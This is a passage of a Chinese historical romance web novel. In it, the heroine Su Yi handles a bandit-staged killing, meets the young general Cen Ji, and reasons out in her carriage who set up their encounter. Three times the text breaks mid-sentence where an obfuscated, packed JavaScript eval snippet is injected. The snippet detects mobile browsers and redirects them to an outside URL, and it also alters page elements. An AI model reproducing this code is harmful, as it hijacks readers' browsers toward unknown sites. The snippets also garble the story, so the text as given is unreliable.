苏苡垂眸淡淡看着这一幕,心中没什么波澜。若非二十二寨悬崖勒马,她今日恐怕当真要殒命在此了。 杜杰风抬脚抵上男人的背脊,稍一用力便将大刀拔了出来,他此番动作算不上温柔,鲜血随着他的动作溅上了苏苡的裙摆,男人也顺着力道倒在了苏苡的脚边。 苏苡将手中的不秋草玉佩托起,递到杜杰风面前,这次杜杰风接下了。 “日后若有了难处,你便拿着这枚玉佩去一日仙,那里会有人帮你。”苏苡说到这里顿了顿,又补了一句,“你想要什么,那里也能寻到。” 杜杰风轻声应了句“好”,神色却有些古怪。 一日仙是一座酒楼的名字,开业不过三年便遍布整个北襄,明面上是酒楼,实际上是个四处搜集情报的组织,而这个酒楼的主人就是此时此刻站在他面前的人。 苏苡眸光略过杜杰风,落在他身后的几个杂役身上。只一个眼神,绯桃立马就明白自家小姐想说什么。 绯桃往前走了两步,直直站在他们面前,说道,“今日之事,烦请各位将其烂在腹中,若是谁人敢传出半句有损我家小姐清誉的闲言碎语,这,”绯桃看向地上已无气息的杂役,“便也是诸位的下场了。” 几个杂役本就被这血溅当场的场面吓得不轻,又被绯桃面色不善威胁一番,哪里还敢有意见,连忙点头称是,生怕自己慢一步,惹得不满,就成了地上的那个。 见状,苏苡有些无奈,“今日之事诸位受了惊,待进了城每人多发五十两银子以示慰藉,若不愿再留下,便自领了银子回去吧。” 四人你看看我,我看看你,点头应道,“多谢小姐。” 苏苡望向杜杰风,“此处不宜久留,我等还要赶在天黑前进城,便不与寨主闲聊了。” 见杜杰风点了头,苏苡抬脚就要走。 就在这时,不远处传来一阵伴随着话语声的急促马蹄声,哒哒哒敲击着地面,溅起阵阵沙雾。 苏苡暗道不好,垂眸看向倒在脚边的尸体。 来不及了。 4. 身入连州3 苏苡视线从杂役、杜杰风、二十二寨手下身上依次扫过,沉声道:“待会儿谁敢多言,便不要怪我不顾情分。” 杜杰风敛下神色,直直望向传来马蹄声的方向。 绯桃连忙掏出手帕递到苏苡手上,苏苡接过掩住口鼻,牵着绯桃的手往后退了好几步,而沈易则是不动声色地反手握在了腰间的匕首上,随时准备动手。 马蹄声越来越近,苏苡忍不住回头望过去,她能策反杜杰风,是因为二十二寨本就不愿做京中权贵手下不知何时,就会一命呜呼的走狗,但接下来的来人,她不确定是哪方势力的人。 她此刻身处连州地界,月白月见又不在身边,闻台六郡更是遥不可及,不管来人是哪方势力,见了这副场景,都不可能无动于衷。 更别提京中那群人恨不得将她扒皮抽筋了。 苏苡这般想着,下一秒就见沙雾渐渐散去,一行人影出现在苏苡眼前。 为首那人跨坐在马背上,身姿颀长,手里牵着缰绳,眉眼间扬着些许笑意,约莫十七八岁的年纪,一股子英姿勃发放劲儿。 他头束银白玉冠,穿着一袭冰蓝色窄袖锦袍,上面用银丝绣着缠枝莲纹,腰系一枚青玉镂雕双鱼佩,如同画中走出的风度翩翩美少年。 苏苡有一瞬间的愣神,待她反应过来,这一行人已经走到了她的面前,苏苡抬眸看过去,恰巧看见了少年别在腰间的玉佩,以及玉佩上面赫然刻着的字——岑。 这个字背后代表的正是连州守将,镇北王岑忛。岑家世代驻守边关,立下赫赫战功,在北襄的威望极高。 说到这个,便不得不提岑忛与其夫人的佳话。岑忛的夫人宁菀本是商贾之女,以岑忛的家世与荣耀,按理来说是断然不会娶这样一位女子的,但岑忛偏就立下誓言非她不娶。 这事传到了先帝耳里,要岑忛给一个非她不娶的理由。次年,斥兰进犯,岑忛主动请旨领兵北上,宁菀不顾旁人劝阻,与岑忛一同上前线,为其出谋划策,耗时三个月击退斥兰并夺下一座城池,是北襄开国以来结束最快的一次战乱,由先帝亲自改名殷守,成了连州三城中的其一。 庆功宴上岑忛以此军功求娶宁菀,先帝不仅答应亲自赐婚,宁菀也因此受封县主,以县主的最高礼节出嫁。 而苏苡眼前这人,正是岑忛唯一的儿子,岑寂,人称岑小将军。 “这是在做什么?聚众杀人呢?还有没有王法了?” 岑寂的视线落在苏苡脚边躺着的尸体上,那人胸口被大刀贯穿,留下的伤口足足有三寸长,伤口处还在源源不断往外冒着鲜血,那叫一个新鲜。 最近连州城外总是闹山匪,岑忛,也就是他爹,天天在他面前愁眉不展,岑寂想着为父分忧主动带人出城剿匪。他从殷守一路向西,经过沧州仓山、拢水,围着连州绕了大半圈连个山匪的影子都没瞧见。 眼看着今日时候不早了,想着进城休息一晚,明日再绕着廿业、榆关巡视,却不想在这距离廿业城门十几里的地方,看见一群光明正大杀人的。 抓山匪抓出个命案,这搁谁谁不气? 苏苡闻言,看向岑寂的目光微变,余光扫过二十二寨众人,又落在杂役尸身上,一个想法从心底油然而生。 苏苡揪着手帕虚掩住半张脸,压着嗓子冲岑寂说道:“公子,你是来救我的吗?来的怎这般晚,人家都吓坏了。” 岑寂目光从尸体上移开,看向苏苡,眉梢微挑,淡声问道:“姑娘为何出现在此?此人与姑娘可是相识?” 为何出现在此? 苏苡眨眨眼,将后半句问话省去,面上浮起恰到好处的疑惑,老老实实从头开始交代,仿佛当真不明白岑寂如何这般询问。 “公子有所不知,小女子生来体弱,家中无人欢喜,只求能够安稳度日……” “好,此事我知晓了。”岑寂面无表情打断苏苡,耐下性子再次询问,“他与姑娘可是相识?” 苏苡乖乖点头:“这人本是我出府时雇的杂役,却不想半道对我生出了非分之想,意图不轨。” 岑寂诡异地从中听出了委屈和……撒娇? 说到一半苏苡突然转头,伸手指向杜杰风一行人,“多亏这群大哥及时出现救下了我,否则……我实在难以想象接下来会发生什么……” 岑寂身后的一行人注意力本放在尸体身上,闻言,纷纷顺着苏苡手指的方向看过去,几十双眼睛隔空对视,场面有一瞬间的寂静。 岑寂欲言又止,这姑娘脑子是不是不太好? 他不识得杜杰风,但这行人的穿着打扮实在是极具辨识度。上身披着件黑黢黢的坎肩,里面的粗布短衣灰扑扑的,前襟随意敞着,腰间斜插着刀刃,或大刀或短刀,下身清一色是粗棉裤,怎么瞧都不像是会路见不平,拔刀相助的主,反倒更像是意图不轨的。 岑寂看向苏苡的目光变得有些一言难尽:“你就没想过他们为何会突然出现?不怕他们是一伙的?” 苏苡猛地瞪大眼睛,这副样子落在岑寂眼里,就是压根没往这方面想,两人大眼瞪小眼,无语凝噎处,岑寂竟泛起一丝荒唐的笑意。 苏苡抿了抿唇,想为杜杰风一行人辩解又不知从何讲起,只得弱弱道:“他们是山匪,怎会与杂役是一伙的?” “他们是山匪,怎会好意救你?”岑寂眼里满是不可置信。 “我给了银子呀!”苏苡奇怪地看向岑寂,“他们向我索要一千两黄金,给了才肯救我。” 这是岑寂十七年来,第一次碰见苏苡这样脑子缺根筋的人。 一时间有些咬牙切齿,岑寂深吸一口气,忍了又忍,才开口问道:“你给了?” “我一时拿不出那么多,便把我母亲留给我的玉佩给他们了。”苏苡说到这里难得有些羞愧,垂下眸子又补充了一句,“不过我同他们说好了,待日后我赚了银子就找他们赎回来。” “一千两黄金外加一枚玉佩,你就这般轻易地答应了?”夏栩在岑寂身旁惊讶出声。 岑寂回头看了一眼夏栩,又看向正冲着夏栩乖乖点头的苏苡,一股荒诞感弥漫上心头。 两呆子。 苏苡抿了抿唇,低头,再次搬出先前那套说辞,“小女子生来体弱,家中无人欢喜,只求能够安稳度日,若这些身外之物能换余生无恙,小女子心甘情愿。” 夏栩脑子里立马浮现出苏苡在家中任人欺凌,忍气吞声的画面,明明是家中嫡女,本应受尽宠爱,却因从小体弱,病气缠身被遗弃偏院,对其不闻不问,可悲,可怜啊! 想到这里,夏栩看向苏苡的目光里都掺杂了几分怜悯。 岑寂视线下移,毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488691|185752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留情拆台,“姑娘倒不如先将身上这锦绣罗衣换下,再同我卖苦。” 苏苡一顿,顺着岑寂的目光看过去,只见她那月白色的裙摆上,被茶水浸湿留下的斑驳与片片血迹混合一起。 原本裙摆溅上的血迹并不多,但马车上半杯茶全洒在裙摆上,血迹一沾上去就随着大片的湿润浸染开,好不显眼。 她这身衣裳是云锦所制,云锦的生产耗时耗力,价格十分昂贵,有的甚至一匹就能卖上千两。 如此昂贵的价格不是寻常人家能够负担得起的。更何况苏苡自诩是个不受宠的,若真如她所说,那这上好的云锦无论如何也落不到她手里,更没法让她如此糟蹋。 除非,她撒了谎。 苏苡能想到这一点,岑寂自然也能想到。 果不其然,当她抬头与岑寂对视的瞬间,岑寂扬眉冲她轻笑了一声,其中意味着什么不言而喻。 不想,苏苡就硬是一脸“你有眼光”的,顶着一众人的目光,拎着裙摆在岑寂眼前转了个圈。 她道:“公子可是喜欢我这身衣裳?” 岑寂愣住。不及言语又听苏苡道:“想来是喜欢的,否则怎会特意询问?公子喜欢大可直说,我并非小气之人,待进城差人给公子送些去就是了,不必这般暗示。” 岑寂嘴角抽了抽,再度开口:“……一千两黄金姑娘说给便给,怎么瞧也不像是不受宠的主,身边又怎会连一个侍从都没有,等着这山匪来英雄救美?” 苏苡眨眨眼:“公子这是在夸我美吗?好吧。公子还是很有眼光的。” 岑寂:“…………” “……” 场面有一瞬间的安静,一群人都以一种难以言喻的表情看着苏苡,沉默半晌,苏苡在心中盘算着,难道是演得太过了? 天地良心,她当了十一年作天作地的恶毒郡主,头次装傻充愣,分寸没把握好也是在所难免的事情。 思及此,苏苡叹口气,认命般收起这套说辞,老老实实开始交代。 “公子误会了,我有侍从,不过受了些伤,这才让那杂役有了可乘之机。” 说着,苏苡转头看向沈易的方向,沈易手不动声色松开剑柄,将布满血淋淋伤痕的双手漏了出来。 让岑寂、杜杰风一行人都看得分明。 苏苡的目光中多了几分赞许,随即继续说:“我父母早逝,自四岁起便被舅舅接到身边抚养,即便缠绵病榻,也未曾亏待于我。可终究寄人篱下,公子也应知晓——不为者,弃如敝屣。” “而今,我已及笄,自然不能再赖着不走。” 岑寂若有所思点了点头,一时没了动作,一眨不眨看着苏苡,不知道在想些什么,半晌才问出一句,“没在京中寻一如意郎君?” 苏苡愣住,眸中疑惑丝毫不掩,“我宿疾缠体,常年靠药石调摄才得以苟全于世,不知何时便魂归泉壤,于他人而言实属拖累,不如寻一安稳地独过余生。” “既是如此,姑娘又何故来这连州地界寻求安稳?难道姑娘不知连州紧挨斥兰,常年战乱?还是说……” 岑寂说这话时微微偏头,被玉簪束起的长发散在肩头,额前有几缕碎发垂在两侧,那双眸子一瞬不瞬地盯着苏苡,像是要将她的心底翻个底朝天才肯罢休。 “姑娘,不惧?” 5. 身入连州4 话刚落地,岑寂身后几人的目光立马变了,审视地打量着苏苡。 北襄共有六郡七州二十三城,其中有五城一郡与斥兰衔接,连州三城中便有两城,殷守更是直接从斥兰人手中抢过来的城池,即使二十年过去周遭也依旧还有斥兰余孽。 也是因此,连州三城三道防线,每道城门都加强守卫,进出也需严查身份,越是往前守卫便越发严,只怕稍不注意就将斥兰细作放进了城门。 如此一想也就不难理解岑寂何出此言了。 苏苡身份存疑。 苏苡手指不知觉摩挲着,她早知那番言论岑寂不会相信,可也没想到会将她与斥兰联系在一起,事关重大,苏苡不得不将态度放端正些。 “这天下人人都有所惧怕,但倘若因为惧怕,便躲起来不再见人,战场上就不应有尸骨,衙门也不该有含冤而死的人。我深居内宅却也知晓同命运共忧乐的道理。连州安全与否,我心如明镜。” “虽常年来危机四伏,战争不休,可二十年来斥兰人未曾向前一步,反倒被镇北军打得节节败退,这便足以支持我来到连州。公子此番,是不信我还是不信镇北军?” “想来是不信我。”不等岑寂答话,苏苡继续道,“否则怎会特意询问?” 夏栩几人似乎是没料到苏苡会这般直白,纷纷转头面面相觑,试图在对方那里得到回答,但岑寂却仍旧一副嫌火不够大的样子,含笑着回道。 “怎会,姑娘多虑了。姑娘肺腑之言让在下自惭形秽。但姑娘身边唯一的侍从还受了伤,来这连州地界度日,恐是有些凶险。” “适才想询问姑娘,在连州城内可是有相识之人?若姑娘不介怀,在下愿为表歉意护送姑娘一段,不过……” 岑寂稍稍停顿一下,随即脸上的笑意再也藏不住,“这人既是杂役,与姑娘并未签订卖身契,不明不白死在荒郊野外难免不妥。” “故而,还要请姑娘与诸位随我一同走一趟。姑娘放心,岑某定会如实转告官府,为姑娘主持公道。”岑寂看了眼死尸才将目光落到杜杰风等人身上。 二十二寨,岑寂并不陌生。 七年前拢水一县令增加税收,交不出的就要拿孩子抵债,逼得百姓苦不堪言,杜杰风就是那时出现的,那时的杜杰风才十四岁,要凭他一人养活那么多人,在当时看来几乎是不可能的事情。 可交不出粮,不是被官府的人打死,就是饿死,一时间村里大半的人竟都跟着杜杰风上了苍梧岭,取名二十二寨。 前五年二十二寨专劫过往商队,因着杜杰风的谋略,官府多次派人围剿也未能成功,还收留了不少逃荒百姓,算是将二十二寨的名声打响了。 近两年也不知怎么想的,连穷苦书生途径此地都要让他抢了去,百姓被抢了银两,就跑到知府门前叫唤两声,时间一长,山匪一事便传得有些夸大其词,说什么二十二寨比斥兰人还要厉害,连镇北军都打不过。 如此一来,就算是小打小闹,官府的人也没法坐视不理了。 连州知府①叶晟东与岑忛关系甚好,叶晟东的儿子此刻又在连州军营里待着,这番差事便被岑忛主动包揽过来丢给了自家儿子。 不过说是剿匪,实际上是试探二十二寨有无招安之意,虽说是山匪,可到底也是未行大恶之事,若尽数剿杀,也难以服众,且不说杜杰风是个有脑子的,知道该如何抉择。 今日之事若真如苏苡所言,倒也是为招安寻了个好由头。 “寨主以及兄弟伙,可有异议?”岑寂问道。 正如岑寂所想,杜杰风是个有脑子的。不答应,那就是心里有鬼,杂役为他所杀,岑寂立马就能压他们入城做“客上宾”。 况且日后拿了官府赦令,他们还是要入城的,如今有个能洗刷自身污名的事就摆在他们跟前,他们若是还要拒绝岂不是成了傻子了? 这般思索着,杜杰风点了头:“一切行事都听世子安排。” 岑寂满意了,又回头看向苏苡:“姑娘做何感想呢?” 苏苡知道岑寂这是打定了主意要将她困于连州,探她底线。一个身份不明的人,与其放出去不知道会惹出什么事来,倒不如放在自己眼底下盯着。 苏苡此刻的处境并不好,此次离京本是应允了萧恒的事,乖乖回自己的封地呆个十年八载,待京中局势稳定再行回京,可她不能、也不愿做待宰的羔羊,任君差遣。 十一年前曲江一战,武安侯领兵迎战却惨遭暗算,一万兵马全军覆没,曲江就此沦陷,幕后之人至今未能揪出。 同样十一年前,武安侯府满门忠烈牺牲不足一月,尸骨未寒便有人火烧武安侯府,连个念想也不愿留下,一句意外走水便轻飘飘揭过何其荒谬! 寒冬腊月,漫天飞雪,空无一人的侯府意外走水,任谁也不会信,可偏偏就仗着无人佐证,不了了之。 长公主府效忠于皇权,可皇权还不了他们公道,平不了他们满身冤屈。 苏苡做不到心无旁骛。 若无人为她所用,日后旧案重提,何人能主持公道?何人能秉公办案? 因此苏苡半路改道途径新丰,利用萧恒处理身后那群豺狼虎豹,待萧恒收到消息还有月白、月见混淆视线,没个两三月是找不到她的。 苏苡看向岑寂,脸上的可怜劲荡然无存。连州紧挨斥兰,大战不打,小战不断,二十年来斥兰未曾向前一步,但连州却因此层层防护,严进严出,可以说在没有战乱的情况下,连州是整个北襄最安全的地方。 她若是留在此处,也未尝不是一个好的决定。 况且……苏苡余光扫过杜杰风一行人,她演这么一出就是为了借岑寂之名,让二十二寨能顺理成章进入军营,成也在此,败也在此,眼下倒是不得不点头应是了。 苏苡皮笑肉不笑道:“如此说来,便多谢公子了。” 岑寂立马回道:“欸,无需道谢,应该的。” 莫名地,这话从岑寂口中说出时便染上了几分诡谲的腔调,尾音上扬的轻慢里藏着股阴谋得逞的自得劲。 偏岑寂生了副好样貌,剑眉下是一双形似桃花的眼眸,狭长的眼尾微微上扬带着一股少年气,其中笑意丝毫不掩,宛如一潭春水。 装模作样,苏苡在心中恨恨想着。 苏苡略过岑寂,转身朝向杜杰风一行人,道:“今日多谢诸位出手相救,待我赚了银子便去寻诸位。只是我还有一事相求,恐要麻烦寨主。” 岑寂一行人齐刷刷转头看向杜杰风。 杜杰风下意识将手中的玉佩往身后藏了藏,顶着十几双眼睛的注视,面无表情胡扯:“收钱办事,天经地义,姑娘但说无妨。” “可否借个人给我驾马车?沈易手受了伤,若今日再驾马车,这双手恐怕是要废了。” 沈易手受了伤,是人尽皆知的事。 “这算什么,都要进城,举手之劳罢了。”杜杰风大手一挥,毫不犹豫应下,“乔文进,你来为小姐驾马车。” 乔文进立马翻身下马。 “多谢……” “姑娘为何不向我要人?”岑寂蓦地出声。 苏苡还未说完的话就这样被堵死在喉间。苏苡哑然,还不是怕你的人在马车外听到什么不该听的? 苏苡指尖轻轻捏住帕子,故作犹豫地开口:“这等小事,何须麻烦公子……” “你我同往廿业,本就顺路,何来麻烦一说?再说了,先前答应过要护送姑娘进城,若连驾马车这种事都还要倚靠旁人,传出去岂不是要说我出尔反尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488692|185752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,言而无信?”岑寂越说越觉得有理。 苏苡微笑:“公子带我们进城主持公道,我们感激还来不及,怎会……” “夏栩,还不快去给小姐驾马车?”岑寂语气不容置疑,完全不给苏苡反驳的机会,话音落地,歪歪脑袋,冲着苏苡微笑道,“区区小事不足挂齿,姑娘莫要记挂,快快上马车赶路吧。” 苏苡依旧微笑,只是笑意不达眼底,她只是恨,恨自己不能杀人于无形,否则岑寂此刻已经了无生气了。 冷不丁被叫到名字,夏栩脸上惊讶神情恍惚,险些以为自己幻听了:“……哈?” 岑寂莫不是被刺激疯了?人家求二十二寨帮忙的时候不吱声,现在木已成舟跑来横插一脚,他闲得慌? 但顾及兄弟的面子,夏栩终究是没将这话说出口,他小心翼翼看向苏苡,思索半晌,还是说了句:“这位小姐……应该不需要两个车夫吧?” 回答夏栩的,是岑寂毫无预兆的一脚,夏栩反应十分迅速,丝毫没有犹豫地从马背上翻了下去,躲过一脚。 方才的行为几乎是刻进身体里下意识的反应,夏栩在地上滚了两圈,脑子还没反应过来,场面有片刻的安静。 见状岑寂冷笑一声:“让你去就去,废什么话,想让苏小姐久等,让我治你的罪吗?” 夏栩一骨碌爬起来,看了看岑寂,又看了看苏苡,行,去就去。 夏栩沉声道:“公子说得有理。” 绝不是夏栩脾气好,岑寂向来不会做没意义的事,如此这般想必是有他的安排。 夏栩认命往马车走去,朝苏苡做了个拱手礼,“姑娘莫要见怪,虽然我家公子言语粗野,唇若剑戟,行事不堪入目,但一片好心,对姑娘绝无不敬之意。” 乔文进站在夏栩身侧,垂眸静静等待着,一边是镇北王世子,一边是他们刚刚归属的一日仙主人,左右都是惹不起的主,但日后二十二寨行事还全要倚仗苏苡,他自然得等到苏苡的回答,才能决定是继续驾车还是让位。 岑寂此番可谓是强买强卖,但这事经夏栩的嘴滚了这么一圈,好的坏的,占理的不占理的,全让他说了,这反倒让苏苡说不出拒绝的话来了。 “说得哪里话,原是我粗心大意,忘了多备一些人,合该自行解决才是,公子一片好意,怎会有怪罪的道理?只是有劳夏公子了。”苏苡咬牙切齿道。 夏栩颔首:“应该的。” 乔文进是个有眼力见的,立马退开,将位置让了出来。 地上的血迹逐渐风干,苏苡心中一抹思绪化开,她扯唇还未言语,就见岑寂转头吩咐人将尸体拖上马背。 额间碎发轻晃着,苏苡一眨不眨盯着他,不想岑寂突然回头看向自己,他说:“时候不早了,姑娘体弱多病,在城外将就一宿怕是受不住,具体事宜进城再议吧。” 苏苡有些拿不准岑寂的想法,只得乖乖点头。 得到回答,岑寂收回目光,缰绳被他绕着手腕挽起,牢牢握在手里,稍一用力马匹就立刻做出反应,扬鬓长嘶。 “岑寂!” 在马蹄踏出的前一刻,苏苡忽地开口喊住了他。 岑寂应声回头,眼波流转间苏苡便直直撞进他的双眸。 “我是不是还未告诉你,我的姓名?我姓苏,槁苏暍醒的苏,岑小将军若不嫌弃可唤我一声冉冉。” 岑寂愣了愣,在这连州境内知晓他的身份并不是什么稀罕事,让他惊讶的是苏苡居然会主动暴露自己认识他,更惊讶于苏苡就这样轻易将姓名告知了他。 不过这样也好,省得他再派人去查。 岑寂停顿一下,眉头微挑,唇角未扬,眼底却漫出一抹兴味的笑意。 “好。” “我记住了。” 6. 身入连州5 苏苡望着岑寂的背影,直至彻底消失不见才收回视线,转身上马车,“我们也走罢。” 马车缓缓而行,杜杰风一行人跟在其后。 苏苡垂眸看了眼被血迹浸染的裙角,心底溅起些许波澜,在下马车前她便知道与二十二寨还有可商量的余地。 古往今来,占山为王有几个是无故上山的?十匪九为银钱困,既是为财而来,便不缺策反的筹码,只是可惜她低估了杜杰风这人的城府。 苏苡在心里叹息一声,茶没品到,还搭上一身衣裳,委实算不上划算。 不行,衣裳毁了,茶总得喝到。 苏苡恨恨想道,伸手就要去够茶壶,在距离不足两指时,茶壶被身旁人一把捞起。 苏苡手上落了个空,怔愣一瞬,抬眸望向绯桃。 绯桃坐在苏苡右侧,握着壶把,低眸往另一个杯子里斟茶,脸上面无表情,与平常那副除了自家小姐,谁也不放在眼里的模样截然不同。 见状,苏苡默默收回手,恰好绯桃将斟好的茶水递到面前。 绯桃道:“此等小事,何须小姐亲自动手。” 苏苡瞥了眼满到快要溢出的茶水,换左手接过,喝了两口才道:“你这是觉得……自己无用了?” 心中所想被苏苡轻飘飘一句话揭开,无处遁形,绯桃立马扯唇想要反驳,想了半天,又不知该从何入手。 一时气恼,绯桃语无伦次为自己辩解:“谁觉得我无用了?我……我怎会觉得自己无用?我可有用了,我会给小姐斟茶,我会管账,天底下的布料就没有我不认识的,我怎会无用。” 似乎是为了让自己的话更有可信度,声音都拔高了不少,清晰传入马车外夏栩的耳中。 苏苡安抚性地摸了摸绯桃的头顶:“是啊,我们桃桃能将那么大一个府邸管得井井有条,怎会无用呢?” 桃桃,听着这个称呼,绯桃一张脸瞬间耷拉下来,道:“小姐,你取笑我。” 苏苡认真道:“我可没有。你我自小一同长大,你的性子旁人不知也就罢了,我岂会不知?往常没外人时,你连茶盏都不愿多碰一下,更别提斟茶递水这种事。” 如今却抢着要做,若不是认为自己无用、想要证明自己,又是什么呢? 绯桃十二岁接手管理长公主府,三年来将府中大小事宜打理得井井有条,从未出过半分差错,偏就这次差点酿成大祸,没能挑选好离京杂役,险些害大伙命丧黄泉。 霎时间,自责、愧疚的思绪便如潮水般涌来,几乎将她整个人都淹没。 她怕,怕做错事被小姐责骂,怕因她之失陷小姐于险境,但更怕自己不能做好,所以迫切地想要做些什么来证明自己并非无用之人。 “小姐可是怨我?”绯桃垂眸盯着自己那双略显泛白的手,话音很轻,语气里带着几分低落。 苏苡却摇头否认:“不。我只是觉得这般甚好。” 绯桃呆愣愣看着苏苡,眨了眨眼,轻声重复道:“这般,甚好?” 苏苡点头:“自然甚好。想做就做,不想做就不做,人生几何,不过尽兴归矣。” 绯桃眼底浮出一层水雾,眸光被水色洇得朦胧,一颗豆大的泪珠滚落,绯桃迅速低下头,紧紧咬着唇,不让自己发出一点声音。 苏苡再次摸摸绯桃的头,马车内陷入寂静,半刻钟过去,苏苡也不急,就这样静静等待着。 又半刻钟过去,绯桃忽然抬头,直勾勾盯着苏苡,除了眼睛泛红,与以往并无区别,苏苡只当她还没缓过劲来,却不想一句话差点将她魂都吓飞。 绯桃纳闷道:“小姐为何要答应留下来?小姐若是想走……唔。” 未说完的话被苏苡抬手堵了回去,看向绯桃的神色略显无奈。绯桃这人算不上笨,甚至可以说是脑子灵活,一些极其微小的事务落进她的眼里,瞬间就能知晓其中利害,可她有个致命的缺点,那就是她想不明白对方这么做有何目的。 苏苡知道绯桃想说什么,以她的身份,若执意要走,即便是镇北王亲自来了也拦不住,何况是岑寂。她既然答应留下,自然不会两手空空离开。 只是,此刻当真是能谈论此事的时候吗? 苏苡微微偏头,朝着帷裳方向轻抬下颌,示意绯桃看过去。 就见车帷被风微微吹起、缝隙中若隐若现的背影。 绯桃瞳孔震颤,喉间溢出一声抽气声,脖颈间的碎发被带得轻晃,某个想法正从脊背深处往上攀爬,她迅速转头看向苏苡,那双眸子里是难以言喻的不可置信。 苏苡却只是淡定点头,确定了绯桃心中所想。 沈易双手受伤不能驾马车无可厚非,苏苡寻人驾马车也在情理之中,但一方是趁人之危索要钱财的山匪,一方是除暴安良的镇北军,是个脑子正常的都知道选岑寂,可苏苡为何偏就舍近求远? 车夫坐的地方距离他们不过四尺,中间只隔着一层珠帘,纵使马蹄声嘈杂,他们在马车内议事,寻常百姓才能听见个一二,更何况夏栩还是镇北军营里出来的,五感远胜常人,就算是不想听,耳朵也捂不住,这才向杜杰风要人。 岑寂派夏栩为她驾马车,也不是猜不到苏苡会闭口不提,他本来也没指望夏栩从苏苡嘴里听到什么,纯粹是故意跟苏苡作对,不想让她舒坦。 绯桃拍了拍还捂在自己嘴上的手,眼神示意自己知道什么该说什么不该说了,苏苡这才收回手。 这人心眼子可真多,都快赶上她家小姐了。绯桃抿了抿唇,垂眸想着,难怪岑寂非要让夏栩为他们驾车,也怪不得她家小姐看岑寂的眼神像是要吃人。 马车一路往前,此时天色已经不早,夏栩为了赶在天黑前进城,速度快了不少,帘子随着马车轻轻晃荡,一片片庭芜绿从眼前掠过。 还有一个问题苏苡到现在也没能想明白,若幕后之人是冲着取她性命而来,从京中到廿业城外他们走了将近一月,足以那人安排好一切,毁尸灭迹。 要说在越过新丰之前,有月白、月见跟在身边不好下手,倒也说得过去,但越过新丰之后,她身边便只剩下沈易绯桃二人,完全能全身而退,为何偏要等到这连州境内? 那人识得她,便不会不清楚连州的形势,明知道在此处动手有可能会碰上连州巡查的军队,却还是毅然决然,他究竟图什么?或者说,是什么东西能让他如此冒险? 苏苡凝眉,手指不自觉摩挲着,心底生出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488693|185752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分烦躁,此事从头到尾都弥漫着不对劲的气息,却连一点头绪都没有,简直就是一片烂账,狗屁不通。 说想杀她吧,在越过新丰后,有那么大把的好时机不下手;说不想杀她吧,又是买通杂役,又是雇佣山匪,天时地利人和全让他占了。 不过可以确定的是,那幕后之人不是脑子缺根筋,就是另有所图,但不论是哪一种,都有够她头疼的。 眸光看向桌上的茶杯,苏苡伸手捞过,将剩余的茶水一饮而尽,嗯,别说,这茶还挺好喝的,苏苡又倒了杯再次一饮而尽。 就在苏苡打算再倒一杯,喝茶也要将自己喝到开心时,茶壶被左右伸来的两只手死死按住,苏苡缓缓抬眸,就见沈易、绯桃两人神色怪异地盯着自己。 苏苡一顿,道:“看我作甚?这茶又不稀罕。” “小姐,这茶是不稀罕,但要按您这样喝,今晚恐是难以入睡了。”绯桃语气诚恳,一边说着一边伸手去扣苏苡手中的茶杯。 苏苡被绯桃的动作震惊,手上力道依旧不收,正欲要说些什么,绯桃话音骤然拔高,补上一句,“小姐,你因病卧榻多年,好不容易能像常人般出行,若为了多喝一杯茶又倒了下去,可如何是好啊?” 苏苡皮笑肉不笑收回手,好啊,居然能想到这个说辞,也是难为她了。 经两人这么一打岔,苏苡心中的烦闷消散了几分,身子往后靠了靠,微微抬眸,帘子依旧轻轻晃动着,马蹄声伴随着轻微的木头碰撞声传入耳中。 苏苡闭上眼,搭在腿上的手指不知觉摩挲起裙摆,约莫是岑寂那句价值千金作祟,苏苡心中竟升起一抹疼惜,好好一身云锦就这样毁了。 岑寂…… 岑寂! 苏苡猛地睁开眼,直勾勾盯着前面的帷裳,半晌,轻笑出声,那幕后之人还真是有点本事,能将她牵着鼻子走。 此事说起来倒还是她的过错。 廿业城外动手有两种可能,一,成功得手全身而退;二,被巡查的军队撞个正着。但不论是哪种可能性,都出现了一个原本绝不该出现在此的人——岑寂。 能让堂堂镇北王世子,带寥寥几人,奔赴于此,其中缘由,便让他们从不可能碰见变为一定会碰见。 那人,想要她与岑寂见面。 为此,甚至不惜牺牲一条人命来干扰苏苡的视线,苏苡的心往下沉了沉,那条人命,尸体此刻还在马背上颠簸。 苏苡转头看向自己的左侧,距离她不到两尺的木檐上,一个被箭矢砸出的窟窿静静躺在那里,不知是不是看太久的缘故,那个窟窿幻化作了一只眼睛,与苏苡对视着。 